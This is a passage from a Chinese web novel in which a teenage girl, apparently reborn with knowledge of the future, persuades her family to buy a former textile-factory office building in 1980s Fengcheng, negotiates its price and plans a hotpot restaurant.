更令人惊讶的是,这洋楼,苏丽珍居然一点都不陌生!现在他们家出摊几乎每天都要路过那里,他爸还给他讲过这栋小楼的来历呢! 当年鬼子占领凤城后,在这一带搞了很多建筑,这栋小楼两边的几栋四层洋楼就是那时候修建的。 据说,原本有个鬼子军官看中了那一小块地皮,想给自己修个洋房,只是还没等动工呢,鬼子就被赶回了老家。 后来国军接手后,这块地皮被卖给了本地一个富商,富商效仿两边的四层洋楼,自己也修了一座中西合璧的二层小楼,之后一住就是二十多年。 直到六六年,这家人似乎提前听到了风声,忽然举家搬走了。 然后这栋气派的小楼很快也被收归国有,当时划入了凤城纺织厂的资产内。 再后来,那里就成了纺织厂的一个办事处。 大伙儿平时从那边路过的时候,会从偶尔敞开的办事处大门往里看一眼,可惜除了一匹匹码放的布料和几张桌椅,别的就什么都没有了。 所以如果真是那栋洋楼,那它现在可是国有资产啊,怎么会轻易出租呢? 听她这么问,谢芳芳也没瞒着,凑近苏丽珍小声解释道:“我舅是纺织厂的厂长,这楼的原主人其实跟我舅是朋友,当年也是他们家主动把这栋楼捐献给的纺织厂。所以对于这栋楼的处理,我舅自己能拿大半主意。” 苏丽珍恍然,原来是这样! 看她听懂了自己的意思,谢芳芳又继续说道:“我舅一开始看那栋楼离他们厂子太远,就想着把它改成办事处,专门用来接洽周边的小批量订单,或者接待外地来的销售人员,闲暇时再做点零售。” “但是连续派了几个人过去,做事都很不尽心。不是接待客户时三心二意,让人家不放心,一个两个又都跑去了总厂,就是马马虎虎弄错单子。今t年春天的时候,其中一个办事员还偷偷把自家的亲戚安排在了二楼,住了几个月,把我舅气坏了!” 苏丽珍:“……” “我舅说自从设了这办事处,厂子那边谁也不爱过来,总认为离了厂子没前途。他们不尽心,就累得厂子隔三差五给这边兜底擦屁股。再加上各种水电费、伙食费、燃煤费一堆杂七杂八的费用,反正这一年年下来,没见创造多少效益,尽是操心费力了!所以我舅早就动了心思,想把这个办事处撤了,对外租出去,好歹是个净利润。” 苏丽珍恍然,心里有点同情谢芳芳的舅舅了,原本好好的一番计划,奈何大伙儿就是不配合。 不过这也是吃大锅饭的弊端,也不是一家两家的特例。 不管怎么说,有了谢芳芳舅舅的保证,这房子对外出租的事应该十拿九稳了! 而且房子各方面的条件都很不错,可以说完全超过她的心里预期,如果真能租下来,这店没开就先成功一半了! 那边谢芳芳兀自道:“我舅说了,这小洋楼上下两层将近三百平,你们家别说开饭馆,就是开食堂也够了!” 苏丽珍这时候才想起来,那天谢芳芳好像误会她们家打算开饭馆了,偏偏她以为对方是闹小孩子脾气,也没及时解释。 不过这天底下也没有十全十美的事,人家直接给找了这么大一座房子已经是大人情了,实在不该挑三拣四。 但是这么大的地方,光卖卤味的话,确实有点大材小用。 或许这回,她真的可以考虑下开饭馆的问题了。 就是现在厨师不好找,而且做炒菜的话也有些累人,她是想开店做生意,但是不想把她爸妈累坏了,所以最好是选一些既符合大众口味,又轻便好操作的类型…… 倏地,她脑子里灵光一闪,隐隐有了一个想法。 谢芳芳这时看她露出深思的表情,难得贴心地问了句:“怎么,你是不是担心租金问题?这个我也给你问过了,我舅说你们要是只租一楼,一个月二十,要是两层一起租,那一个月就只要三十!” 苏丽珍还真没往这方面想,别人不清楚,但她知道自家的卤味摊子有多挣钱!这在别人眼里赶得上一个月工资的房租,对于他们家,压力真不大。 而且要是能连同二楼一起租下来,那住处的问题也解决了,到时候楼上住人,楼下开店,方便又安全,还有比这更省心的吗! 想到这里,面对谢芳芳这样周全,她心里越发感激,连忙点头,向对方认真道谢:“我明白了,这已经很好了,谢谢你,芳芳!不管这事成不成,你都给我们家帮了大忙!” 她这样郑重,谢芳芳反而有些不好意思,有些扭捏道:“也没什么了,我也没做多少事……” 反正她只不过是每天一回家就轮番给家里的亲戚打电话,催着他们四处打听;在确定她舅舅能做那栋小洋楼的主后,又磨着他舅少要一点租金,不准把人要跑了…… 苏丽珍看她这明明害羞又带了点自得的小模样实在有趣,忍不住也笑了起来。 谢芳芳一见她笑,立马又竖起了眼睛,不满道:“喂,你笑什么!我说没做什么,不过是跟你客气而已!你可别忘了之前答应我的,要是我帮你找到了房子,你得亲自下厨请我吃饭,而且还得任我点菜!” 苏丽珍自然笑着点头,“好好,先提前给你编本菜谱是吧!放心吧,这事我没忘,到时肯定给你做上一桌子好菜,包你满意。” 反正她守着一本《料经》,做不出满汉全席,但是做满一桌菜还是不在话下。 说不定,以后家里饭馆也能用得上呢! 谢芳芳看她答应得痛快,心里一阵窃喜,嘴角也翘得高高的。 正巧卢向阳过来还笔记,谢芳芳一看见对方,立马把人拉住,好一顿炫耀。 卢向阳听说谢芳芳真的这么短的时间内就帮苏家找到了房子,而且还是这么好的地方,眼睛都瞪圆了,直接朝谢芳芳竖起了大拇指。 “谢芳芳同志,你确实厉害,之前是我有眼不识泰山,今天可算服气了!” 卢向阳一番耍宝似的伏低做小,把两个人都逗笑了。 谢芳芳直接骄傲地扬起小脸,“行吧,看你这么识时务,等苏丽珍请我吃饭那天,我允许你过来陪席。” 说笑归说笑,但是这么大的事,苏丽珍自然要跟家里商量商量。 中午一放学,她就急忙赶到了医院,跟苏卫华夫妇和林小麦说起这事。 打从她决定尽快开店后,这几天里,她也征求过父母的意见。 在经历过之前险些被盗、这次又被抢后,苏卫华夫妻俩也意识到比起摆摊,开一间固定的店面会更安全一些,也不用担心刮风下雨的问题,所以他们夫妻俩也支持女儿的决定。 只是原先在他们的想法里,找间小铺面,够他们转开身做卤味、卖卤味就行了,没想到闺女同学帮找的是人民路上那栋二层小楼! 哎呦,那可真是个好地方!房子好,位置更好……就是貌似大了点,到时候要是地方用不完,那不是浪费吗? 等听闺女说干脆就开间饭馆,而且不做炒菜,可以专做火锅,捎带卖卤味时,夫妻俩脸上都露出迟疑的神情。 苏卫华问道:“卖火锅?珍珍啊,火锅就是咱们说的涮锅子吧?” 苏丽珍点头,“对,咱们这边常见的铜锅涮羊肉就是火锅的一种。” 关于火锅,《料经》上记载的很详细,他们这边叫涮锅子,有的地方叫打边炉。虽然各地常用的底料、蘸料各不相同,但是这道传统美食的核心是一样的,都是用高温涮煮食材的烹饪方式。 开家专门卖火锅的店,是她经过一上午思考想到的。 首先,火锅的味道不必说,是真正老少皆宜的美食,不管是本地的铜锅涮肉,还是川渝地区的麻辣火锅,几乎很少有人不爱。 其次,火锅操作简单,像麻辣火锅可以提前炒制好底料。其他的高汤,家里做卤味时就一并备齐了。 至于其他的肉片、蔬菜等等只需要清洗和改刀,可比做炒菜省事多了。 而且眼下才十二月份,东北冬天漫长寒冷,正是吃火锅的旺季,要是赶得及,肯定能挣一波快钱。 其他人听她这么一说,立时也觉得卖火锅这主意不错。 就是李翠英还是有点顾虑,“妈怀你那年,和你爸在国营饭店吃过一回这涮锅子。我记得可清楚了,当时那一份锅底就要两毛,一盘八两的羊肉片要一块二,虽然好吃,可也真的贵啊……咱们主要卖这个的话,价又不便宜,妈就是担心,会不会留不住人啊!” 毕竟国营饭店虽然有一大堆毛病,但是人家店里的食物种类也多,万一有人来了他们店,不想吃火锅,却没有别的能点,那多扫兴啊! 苏丽珍就给她分析,火锅跟卤肉一样,其实对于眼下人来说都属于略奢侈的食物,即便是不差钱的凤城本地人,也不可能三天两头去吃。 但是如果你的食物味道够好,让人吃过一回念念不忘,这些人就会成为回头客,然后源源不断带动新的客人。 凤城有三百万多人,即使只有百分之一的人想来尝一尝,那也足够他们家从年初开到年尾了。 所以关键还是食物的味道,只要你做的足够好,让大伙儿觉得物有所值,那价格就不成问题! 大家想想还真是这么个理,他们家的卤肉也不便宜,可也没挡住每天都卖得锅底朝天啊! 于是这次夫妻俩都不再犹豫了,全都投了赞成票。 苏丽珍最后又把目光转向全程听得津津有味的林小麦,也征求一下她的意见。 林小麦没想到她还会问自己,一时有些感动,跟着就使劲点头:“同意,我同意!虽然我没吃过火锅,也说不好,但是既然是妹妹你提出来的,那我肯定同意,谁叫你在我心里一直是最聪明的!” 苏丽珍失笑,难得嗔了一句,“爸、妈,你们今天上午一定给我小麦姐姐灌了不少糖水,看她嘴甜的,我都要飘起来了!” 不过嘴上这样说,她还是拉住对方的手,保证道:“等你出了院,要是医生允许,我们回家第一顿就吃火锅!” 林小麦笑的眼睛都弯成了月牙。 第59章 这边家里全票同意开饭馆的提议后,苏丽珍t下午一回校就找了谢芳芳,让她帮忙给对方舅舅带话,看看这周末能不能安排人,让他们全家过去看看房子,要是一切顺利的话,最好当天就把这事定下来。 谢芳芳第二天就给了苏丽珍准话,周天上午十点,人民路的二层小楼那里准时见。 日子在众人的期待中过得飞快,眨眼就到了星期天,将林小麦委托给丁大勇照顾好,苏丽珍一家三口早早就来到了约定地点。 刚一到地方,就看到一个微胖的中年男人等在小楼门口,苏丽珍试着上前打招呼,一问才知道,对方竟然就是谢芳芳的舅舅,凤城纺织厂的厂长! 没想到对方会亲自来,苏丽珍一家冷不丁还有点懵。 谢芳芳的舅舅姓安,是个面容有些严肃的中年人,但是很奇妙的,如果他笑起来的话,又会给人一种特别爽朗的感觉。 加上对方态度温和,言辞亲切,苏家人对他的印象都特别好。 安厂长先跟苏卫华夫妇打了招呼,又打量了苏丽珍一番,才笑呵呵地对她说道:“你就是苏同学吧,我常听芳芳提起你。这孩子被我们惯坏了,养成了一副无法无天的脾气,但是我看她最近改了不少,性子也比从前稳了。” “我听她妈说过,是苏同学你在学校里给了她不少帮助和启发。说真的,你这可算帮我们两家解决了一个大难题,我这个当舅舅的应该先跟你说声谢谢!” 苏丽珍哪里当得起对方这声“谢”,连忙摆手,言辞恳切道:“安伯伯,您太客气了!其实芳芳本性纯良,天真可爱,之前是我们彼此不了解,才会产生误会。” “而且她对我这个同学也是真心关切,甚至为了我们家的事费心费力。就拿这次找房子的事来说,如果没有芳芳的帮助,这里我们连想都不敢想!所以这一点,我更感激她。” “当然没有这次的帮忙,我也会把她当做朋友。这世上没有十全十美的人,而一个本性善良纯真的女孩子值得被用一颗真心对待。” 安厂长听完这番话,看着苏丽珍的眼神多了几分真切。 他目露赞许地点了点头,“你是个好孩子,难怪芳芳这么喜欢你。你是不知道,本来她这次要跟着我一起来的,但是她姥姥、姥爷知道她放假,想让她早点过去,她舍不得让她姥爷多等,就只好放弃了。” “为着这个,她从今天早上七点钟就开始给我打电话,催我一定要早点来,务必让你们把这房子仔细看好,不能耽误你们的事!等你们看完,回头我还得给她做汇报!这孩子,我拿她真是一点办法也没有!” 说到最后,安厂长已经是一脸的无奈。 所有人都笑了起来。 不过安厂长抱怨归抱怨,对谢芳芳的疼爱也是溢于言表。 闲聊几句后,初见的陌生和拘谨散去了不少。 苏丽珍顺势道:“安伯伯,您叫我丽珍就行!” 安厂长自然应了下来,“好,丽珍,咱们现在就和你爸妈一起看看房子吧。” 回归正题,安厂长开始领着苏丽珍一家参观房子。 这栋中西合璧的二层小楼直接邻马路而建,外墙皮的浅砖红因为疏于维护,已经损毁褪色不少,一眼望去,斑驳一片。 大门处修了两阶石台,上了石阶先是一座门楼,门楼的样式仿西式建筑,下面是两扇嵌着玻璃的镂空雕花大铁门,也是典型的西式风格。 只是如今,西式门楼原本乳白色的立柱已经一片坑洼,上面布满了小孩子涂鸦的粉笔道;大铁门上锈迹斑斑,镂空处的玻璃还坏了好几块,看着总有那么几分荒凉。 铁门上挂着锁,安厂长取了钥匙一边开门,一边说道:“芳芳应该跟你们说过,这楼之前一直是我们厂子的办事处。前不久我把这办事处撤了,里面只是大致收拾了下,可能看着有点破败。” 虽然安厂长这么说,但是苏丽珍一家发现里面的情况远比她想象的好。 除了到处空荡荡,积了不少灰尘之外,屋子整体没有多少损坏。 不过安厂长还是叹息道:“当年原主人搬走的时候,几乎什么都没带走,但后期那些人几次冲进来打砸,这屋里原来的东西就都不能要了,我这才让人把这里清空用来码放布料。” 因为没什么东西,屋子里一目了然。将近一百五十平的一楼,进门就是一个大客厅,客厅东边是一间小型餐厅,再往里分别是两间客房和一间洗手间;客厅西边则是厨房和佣人房。 上二楼的楼梯在西北角,贴着屋子北面墙壁而建,楼梯底下还设了一间小储藏室。 一行人顺势上了二楼,二楼的格局与一楼接近,只不过少了厨房、餐厅和佣人房,多了一间挺大的书房。 客厅比一楼小许多,卧室则有四间,南北各两间,而且都十分宽敞。其中朝南的一间卧室里甚至有单独的洗手间,就单这一间屋子给一个三口之家住也够用了。 就是大概之前在这里居住的人不太讲究,地板上弄得黑乎乎的一团团,分不清什么东西;墙面上溅了星星点点的菜汤、油渍,偶尔还印几道脏兮兮的手掌印。 苏丽珍甚至还看见了好几处干涸的鼻涕印! 安厂长显然也注意到了这些恶心人的污渍,脸色一瞬间有些不好看。 知道实情的苏丽珍估计,之前那个把自家亲戚偷偷带进来住的办事员,回头还得挨一次批。 屋子很快看完,一家人可以说都十分满意。 这么大、这么好的房子,连开店带居住,一次解决所有问题,不管哪方面都合适得很。 如果说来之前,苏卫华夫妻俩的满意是八分,现在看完就是十分了,恨不得当场把这事定下,明天就搬进来,着手筹备火锅店。 安厂长也看出苏丽珍一家挺喜欢这房子,但他还是非常贴心地自己走到了一边,让他们一家人单独再商量商量。 李翠英就赶紧拉着闺女的手,一脸兴奋道:“闺女,这地方真好,我跟你爸都相中了,我看咱就定这儿吧!” 苏丽珍笑道:“我也挺喜欢,就定这儿吧!” 李翠英又说:“那咱就先租一年的?一年三百六,我今天带的钱够了!” 然而苏丽珍此时却另有想法。 “妈、爸,既然你们都喜欢这里,要不然咱直接把这儿买下来吧!” “啥?”这一句可谓石破天惊,把苏卫华和李翠英都给吓住了。 “买下来?闺女,这可不是闹着玩的,这得多少钱啊!这不像租房子,万一将来咱这火锅店生意不好,那咱这钱不都白搭里头了吗?” 苏丽珍劝两人:“怎么是白塔呢?今年中/央已经把房子定义为商品了。连房子都能自由买卖了,经济肯定会越来越开放,这代表今后做买卖的人也会越来越多!” “这房子占着这么好的位置,以后的价值只会升、不会降,所以即便咱们的火锅店开不好,到时也可以转租出去!咱们就算靠着一直收租,也早晚能把本钱收回来。” 她这可不是随便说说,她记得前世客运站明后年就会重新扩建翻新。新落成的客运站直接成为了这一带的地标建筑,带动周围迅速发展成一个商业圈,周边的土地也跟着水涨船高,租金是年年拔高。 可以说,真到那时,即便什么都不做,躺着也能把钱赚了。 见两人有些意动,苏丽珍又添了一把火:“再说这房子不是自己的,总归没法安心!万一有人看见咱们在这儿开店生意好,起了心思,回头直接砸钱把这里买下,那咱们将来怎么办?还不如趁着眼下了解详情的人少,直接把它买下来,” 夫妻俩闻言,下意识转头看了看,明明闺女说的还都是没影的事,但是俩人就是生出了一股浓浓的危机感! 苏卫华咬了咬牙,“闺女,那咱要把这房子买下来得多少钱?” 这个问题,苏丽珍也想过了,虽然上辈子的她自诩不愿理会这些“俗事”,但是他们家一直是租房子住,所以天然对房租、房价这些话题比较敏感。 她参照前世出国前那两年房价的变化,报出了一个数字:“估计起码要五千块!” 苏卫华夫妻俩直接倒抽了一口凉气。 五千块,这要一个人不吃不喝干十几年才能挣出来啊! 苏丽珍也知道贵,可相比以后逐年上涨的物价,如果真能以这个价格拿下这座小楼,他们其实是占了便宜的。t 现在房屋市场没成型,也几乎没多少成交量,在人们普遍的意识里,压根没把房子与商品挂上钩。 大伙儿要么住着祖辈传下来的房产,要么就是由单位分配住房,最不济也有间宿舍凑合。 就像她爸苏卫华,没有退职之前,他们全家就住着机械厂一套七十平的筒子楼。按照正常情况,只要他们家在她爸正式退休后交一笔费用就可以一次买断房子产权,这算是企业给职工的一项福利。 但是像她爸这种提前退职的,待遇大打折扣,自然享受不到这样的福利。 也正因为有国家兜底,哪怕人口越来越多,但只要有个班上,大家就不用担心住房问题。绝大多数人的想法都是,有钱不如买电视机、洗衣机、自行车这种大件,放家里头既实用,还气派。 更别提会想到花钱买房子做投资了! 她前世就听说,首都那边有人花一万块钱买了一座四合院。记得当时多少人直呼那人傻帽,甚至一度认为这是个谣传,因为他们都不信谁能一口气拿出那么多钱,还只是为了买房子。 可见在买房投资这一块,现在大家的意识别说萌芽,连能孕育萌芽的土壤也没生出来。 所以现在买房置产绝对是天时、地利、人和的最佳时机! 她绝对要抓住这个机会! 第60章 “爸、妈,我知道这个价格你们有些受不了,可你们想想咱们家自打摆摊后的收入……那些钱放在存折里只是一个数字,但是如果买下这栋小楼,那就是得了一个会下金蛋的金鸡!而且这‘金鸡’落在这里,谁也没法轻易抢走不是?” 家里的存折,苏卫华夫妻俩并不避着苏丽珍,她知道打从十月份他们家新增了各种卤肉以来,两个月的时间里就挣到了三千块。 所以五千块在别人眼里是天文数字,在他们这儿却不至于那么难以接受。 闺女把话分析得这么明白,再加上这阵子每天研究报纸上的各项政策,苏卫华也多少得到了点启发。 家里每天摆摊,他眼看着现在待业的青年越来越多,这些人老大不小,总得结婚生子吧?到时候人越来越多,房子肯定不够住啊,他们又没单位,分不到房子,到时候可不得买房吗? 所以这房子买了也未必会砸到手里! 于是他深吸一口气,终于下定决心道:“买!顶天是这几个月白干了!” 李翠英还是担心:“可咱们手头上总共也就五千多块,咱们还要开店,还得预留一部分钱给小麦养病。这要是把钱都花在房子上,以后怎么办!” 苏丽珍看了正溜溜达达往这边走的安厂长一眼,安抚父母:“爸、妈,你们先别急!待会儿我跟安伯伯商量商量,如果对方同意咱们买下这房子,我看能不能求求情,让对方同意咱们先付一半款项,剩下的分几次结清。” 夫妻俩想着这也是个主意,要是对方同意的话,那他们家就买房、开店两不耽误,将来不管生意挣多挣少都是自己的。 再不济也能得栋小楼,还是这么好的地段,不亏! 这边夫妻俩定了心,安厂长也正好走了过来,看向一家之主的苏卫华,笑呵呵问道:“苏兄弟,你们可商量好了?相没相中这地方?” 苏卫华忙点头:“那肯定相中了,这么好的地方,那是打着灯笼也难找啊!就是……” 说到这里,他语气一顿,不过很快又在媳妇和闺女的眼神支持下,再次开口道:“就是安厂长,你看我们能不能先跟你商量个事?” 安厂长以为他是担心房租的问题,主动道:“是不是觉着这房租不合适?这不要紧,咱们还能再适当降一点!” 苏卫华赶忙摇头,“不、不,不是这个事!安厂长,我们是想问问,你们这栋小楼能不能直接卖给我们?” 安厂长听说他们要把这楼买下来,当场惊了一下,有些不敢相信道:“你是说你们想把这里买下来?不是租?” 苏丽珍一家一起点头。 安厂长忍不住又问:“上下两层都要?” 在得到对方又一次肯定后,安厂长脸上惊讶的神色更浓了。 不过他到底是见过世面的人,知道对方是动真格,很快就调整好了情绪,略微思索了一会儿,便给了肯定的答案。 “买也是可以的!不过,苏兄弟,我得提醒你,这可不是笔小数目,说不好要大几千块!将来这合同一签,可就不能反悔了!” 苏卫华赶忙说道:“不反悔、不反悔!安厂长,我们全家都商量好了,是真心想把这儿买下。” 苏丽珍适时接话道:“安伯伯,我爸我妈是想着,这一年三百六十块钱的租金也不是小数目,一年年的积少成多,那可就是一大笔钱了!与其眼睁睁看着这一笔钱慢慢白流出去,还不如咬咬牙早点把房子买下来。这房子现在既然能做商品,我们能买,将来也能卖不是?就当是变相的攒钱了!” 安厂长听了这番话,顿时对苏丽珍有些刮目相看。 现在国家的重心是搞经济建设,但是很多人的思想还没有转变过来,一开会就要批这个、批那个,其实还没有一个孩子看得明白。 更别说,人家小姑娘这账算得也厉害! 他忍不住夸道:“你这孩子可真灵透,难得小小年纪就能说出这么有见识的话,真是不错!” 苏丽珍立即谦虚道:“安伯伯,我这点见识在您这样的人面前就是班门弄斧,可当不得您这么夸我!” 安厂长登时哈哈大笑起来,“好哇,你这个小家伙还给我戴上高帽了!” 说笑了两句,安厂长才正色道:“苏兄弟,既然你们全家已经想好了,那我也不多话了。只是这处产业现在属于集体财产,我得回去跟厂里的领导班子再碰一下。” “不过你们别担心,这只是常规的走流程,不会影响最终结果。回头这事我亲自盯着,到时候尽快出一个章程,肯定不会耽误你们太多时间。” 得了对方这样的保证,苏丽珍一家自然万分感谢。 苏丽珍便顺势问了句:“安伯伯,依您的估计,这栋小楼得要多少钱?” 安厂长闻言,四下打量了一圈,沉吟道:“我也说不太好,毕竟现在可参照的例子太少,但这房子地段和格局都算得上上乘,我估摸不会低于这个数。” 说着,伸手比了个五指分开的手势。 还真就是五千块! 苏卫华和李翠英悄悄对视一眼,果然跟闺女之前预估的一样! 苏丽珍这回心里有了数,又道:“安伯伯,您看是这样的,我们虽然急着想买下这房子,但是这个价钱,我们肯定一次拿不出来! “您看能不能这样,我们签合同,先支付一半房款。剩下的钱,咱们定个时间,然后我们在约定时间内结清。我们也愿意在房本过户后,先不取回,直接留在机械厂做抵押,直到我们把尾款结清再拿回,您看成吗?” 这番话说得有理有据,面面俱到,让安厂长不由再次侧目,这孩子是个人才啊! 他迅速看了眼全程认真听闺女说话的苏卫华夫妻俩,看他们那样子,小姑娘这番话倒不像是他俩教的。再说他们本人就在这儿,也没必要绕这么个圈子啊?何况这两口子一看就是老实巴交、不善言辞的人。 在一想起打从见面后小姑娘的表现,他越发觉得这孩子思维敏捷,说话办事落落大方、周全有度,比个大人还顶事,立时起了惜才之心。 而对于苏家没法一次付清房款这事,安厂长也早有所料,毕竟听说对方摆摊也才没多久,要真能一次拿这么多,那他也要考虑下不当这个厂长,回头也找个地方摆摊去! 因为对苏丽珍的喜爱,他十分痛快地朝对方点了头,“可以,回头我跟他们说一声,他们不会反对的。” 纺织厂效益好,光职工就有上万人,所以这笔对普通人来说是天文数字的钱,在厂子里就不算什么了。 他有意卖个好给苏丽珍,所以不介意帮他们家这个小忙。 苏丽珍也明白,安厂长是有心帮忙,要是没对方这句话,这事恐怕要费周折。 这个情,他们老苏家自然要领! 于是,苏丽珍再次郑重表达了谢意,并表示会将这份人情记在心里。 安厂长只是温和地笑了笑。他压根也没想要对方还什么人情,就是单纯地欣赏这个孩子,想结个善缘而已。 此刻的他,绝对不会想到,今日随手帮得一个小忙,会在他将来最艰难的日子里,为他换来怎t样的机遇和转折。 和安厂长分别后,苏丽珍一家回到医院,立时把他们要买下小楼的决定告诉林小麦和丁大勇,差点当场换来一波尖叫。 不过在听了苏丽珍的一番分析后,两人又迅速立场不坚定地动摇了,认为这主意很不错。 连丁大勇都觉得,应该趁着眼下大家观念没转变时,赶紧四处打听打听,他也去买个房子?兴许将来就能升值呢! 反正他手上的钱也攒了不少,他又不想听他/妈/的,现在娶媳妇。要是先把这钱花出去,到时他手上分毛没剩,说不定他/妈就不一天三顿逼他成家找老婆了? 而同一时间,刚把媒人送走的丁大娘刚一回屋就打了个大喷嚏,吓得她赶紧给自己倒了杯热水,可不能这时候感冒啊,她还要给她老儿子相对象呢! 她都打算好了,等小麦那闺女一出院,老苏家没啥事了,她就把大勇师父两口子都叫上,大勇听他师父的,有他师父把关,他肯定不能再犯犟! 她从口袋里掏出刚刚媒人留下的一张照片,就着日头越看越稀罕! 瞧瞧这大脸盘子,多有福气啊,跟她家大勇正般配! 这日子啊,还真是越来越有盼头了!《 》 60-70 第61章 在一家人翘首以盼中,时隔两天,担任“小信鸽”的谢芳芳同学果然再次带来了好消息! “我舅让你们今天准备一下,明天上午九点到纺织厂谈房子的事。到时候纺织厂的其他领导也在,算我舅,一共三个人。” 谢芳芳一边认真转述舅舅的话、一边自以为隐蔽地偷摸打量苏丽珍。 苏丽珍失笑,这都两天了,这位就一直用这种古怪的眼神暗戳戳盯着她,也不知道对方那小脑袋瓜里又想到了什么! 于是,故意逗她道:“干嘛总是这么看着我?怎么,怕我跟你借的参考书不还啊?” 之前,谢芳芳听从她的建议,从家里带了许多参考书主动借给班上的同学。这些书都是她家人出差从首都带回来的,眼下属于有钱都难买的紧俏货。 得益于这些参考书,大家在学习方面都或多或少有了收获,连科任老师们都会偶尔借去翻阅,扩充一下自己的小“题库”。 所以,想要拉近和大家的关系,也并不一定要在吃吃喝喝上下功夫。现在的谢芳芳,每天都能收获大家真心的感谢和赞扬,那张小脸上整天都会挂着开心的笑容。 谢芳芳也因为这件事对她心存感激,虽然她的性格骄傲,嘴上不肯说,但是从她这次四处发动亲人帮苏丽珍找房子,就能看出她是真心把苏丽珍当做了朋友。 这会儿听苏丽珍这样逗她,她直接瞪起了眼睛:“你胡说,我才没有!” 之后又泄气似的鼓起了脸,有些不情愿地说道:“也不知道你那天给我舅舅灌了什么汤药,把他忽悠地回家之后就一直跟我家里人夸你!说你各种好、各种优秀!” “他还说我不如你懂事,让我平时一定要多和你在一块儿,要好好跟你学习!” 苏丽珍听这酸酸地语气,总算明白是怎么回事了,顿时笑着说道“安伯伯那是客气而已!你仔细想想,他这样夸我,还不是因为我是你看中的朋友!正因为你的态度,他才会这样重视我啊!所以说来说去,根源还在你谢芳芳身上才对!” 听她这么一说,谢芳芳想了想,好像也对,顿时又乐了起来。 很快把自己那点小情绪抛开,接着说正事儿,她对苏丽珍小声道:“我舅让我告诉你,虽然明天会有纺织厂其他的领导在,但是明天你们该怎么谈、就怎么谈,能压价就往下压!别有顾虑,他肯定会为你们说话的!” 一听这话,苏丽珍心里有了底,心里计划着争取明天就把这事拍板定下来。 到了第二天上午,苏丽珍直接请了半天假,和父母加上丁大勇四人一起准时到了纺织厂。 其实丁大勇不用来的,但是考虑到兴许今天就能把房子的事定下,所以苏家额外做了点小准备,丁大勇正好顺带能帮着拿拿东西。人多,他拎着东西也不显眼。 到了纺织厂,在门岗,苏卫华才说了自家姓苏,门卫就直接把他们领到了厂区办公室。然后,一个自称刘秘书的人又把他们带到了一间小型会议室。 会议室里,安厂长已经提早等在那里,一看到他们过来,忙起身主动迎了迎,态度十分亲切。刘秘书看在眼里,对苏家人也越发热情了几分。 安厂长先跟苏家人寒暄了几句,接着就让刘秘书去通知其他人过来。十分钟后,果然又来了两个干部模样的人。 安厂长简单介绍了下,这两位,一位是纺织厂的工会主席;一位是纺织厂办公室主任。 加上安厂长,今天这三人就是纺织厂一方的代表。 双方先是简单打了个招呼,落座后,很快进入了正题。 这两天,纺织厂已经派人重新对小楼进行了测量和估价。 小楼的实用面积为292平米,经过研究后,纺织厂的报价是每平20元,最终整栋楼总价合计为5840元! 这个价格也符合苏家人的心里预估,不过他们自然还要往下压价的。 如此,双方你来我往,生生磨了一个小时,最终苏家把价格压到了5080元,对方就再也不肯让步了。 苏丽珍虽然有些遗憾,最终没能突破五千块大关,但是想到这个价真能把这栋小楼拿下,心里还是满意的。 毕竟在未来,它的价值会飙升到一个真正让所有人大吃一惊的程度。 而且考虑到他们不是一次性付清房款,还要压个一、两年时间,所以未免太过得罪人,让安厂长不好做,她也始终保留了一点余地,没把价钱杀得太狠。 定好了价钱,又谈好了付款方式,下一步就是签合同。 其实到这一步,已经没什么事了,不过大概因为安厂长的关系,在等候办公室草拟合同期间,那位工会主席和办公室主任也没有马上离开,双方还闲聊了起来。 尤其这俩人看刚刚议价的时候,苏丽珍这个小姑娘竟然才是四个人中的主力,觉得有趣,话题都忍不住围着她转。 苏丽珍看气氛正好,悄悄给苏卫华使眼色,苏卫华连忙起身,从丁大勇那儿接过他一直随身带着的一个大提包,打开提包,从里面取出了一袋袋卤味来。 苏卫华一边往外拿,苏丽珍一边在旁边脆生生道:“三位领导伯伯,这是我们家自制的特色卤味,今天特意带点儿来给你们尝尝,也算是感谢各位伯伯为我们家的事儿费心了!” 工会主席就笑呵呵说道:“小家伙你这算不算是贿赂我们呐?可惜呀,现在咱们价格都已经谈完了,你这几只卤味可是要亏了!” 苏丽珍大大方方道:“哪能呢!伯伯们都是见多识广的人,要是能让你们尝尝我家的卤味,之后再帮忙给我们提点儿意见,那才是我们赚到了!” 三人听完苏丽珍的话,都哈哈笑了起来。 办公室主任忍不住笑道:“你这小姑娘真了不得,我看不光会讲价,还会哄人,瞧把我们大伙儿逗得!” 三人里最高兴的其实是安厂长,像他们这个位置的人根本不在乎这一口吃的,更看重的是对方这份心思。 明眼人都能看出,他是向着苏家人的。而苏家在这一锤子买卖之后,还能想着给他们带礼物,其实也给他长了脸面。 也不枉他帮了他们这一回。 投桃报李,他当即对另外两人说道:“你们今天可有口福了,他们家的卤味那是鼎鼎有名!就我那个宝贝外甥女,只吃过一回就念念不忘了!” 两人对视一眼,他们都知道安厂长的外甥女只有一个,那可是谢副市长家的千金,安、谢两家这一辈唯一的女孩子。 要是这位“小公主”都说好,那他们确实有口福了! 说话间,三人接过苏卫华递过来的卤味。就见那卤味先用油纸包着,外头是一个长方形牛皮纸纸袋,纸袋上还画着一副简笔画。 装着卤鸡的纸袋上是一只精神饱满的大公鸡;装卤鸭的就是一只憨头憨脑的大肥鸭。画面不过寥寥数笔,却格外生动。 此外,每个纸袋上还有一行工整的钢笔字:客运t站正门外道东,珍珍小吃。 估计是他们家摆摊的地方。 三人心下暗赞,这牛皮纸袋一看就是自家制作的,但是规整、别致之处,却不输专门的食品包装厂产品,绝对是用了心的! 而且哪怕隔着两层包装,他们也闻到了一股极香的卤肉味!别说,光是这个味,也能下个二两酒了。 怪不得人家靠着摆摊能买下那么贵的房子! 听说这段时间,首都那边个体经济发展迅猛,有些私营产品无论是品质、还是样式都不输工厂货。 只不过因为个人产能有限,无法达成规模,所以没法对工厂进行冲击。 可这仅仅只是个开始啊!现在中/央扶持个体经营模式的决心这么明显,或许一个、两个的个体户对他们构不成威胁,可要是成千上万个加起来呢? 蚁多也能咬死象啊! 想到这里,三人渐渐收起之前的漫不经心,表情渐渐凝重起来。 苏丽珍完全不知道他们此刻的想法,见三人貌似对自家的卤味有点兴趣,她也不由一阵高兴。 这些卤味是她昨天接到谢芳芳的通知后,让她妈特意精心卤制的,就是为了今天用上。 老话说,礼多人不怪,这些吃吃喝喝的不打眼,也称不上是送礼。苏丽珍让家人准备这些,为此,昨晚还熬夜赶制出了这些包装袋,既突出自家卤味特色,又能拉高档次,说白了就是看着拿得出手! 这么费心,一方面是卖个好;另一方面,当然是存了点儿别的目的。 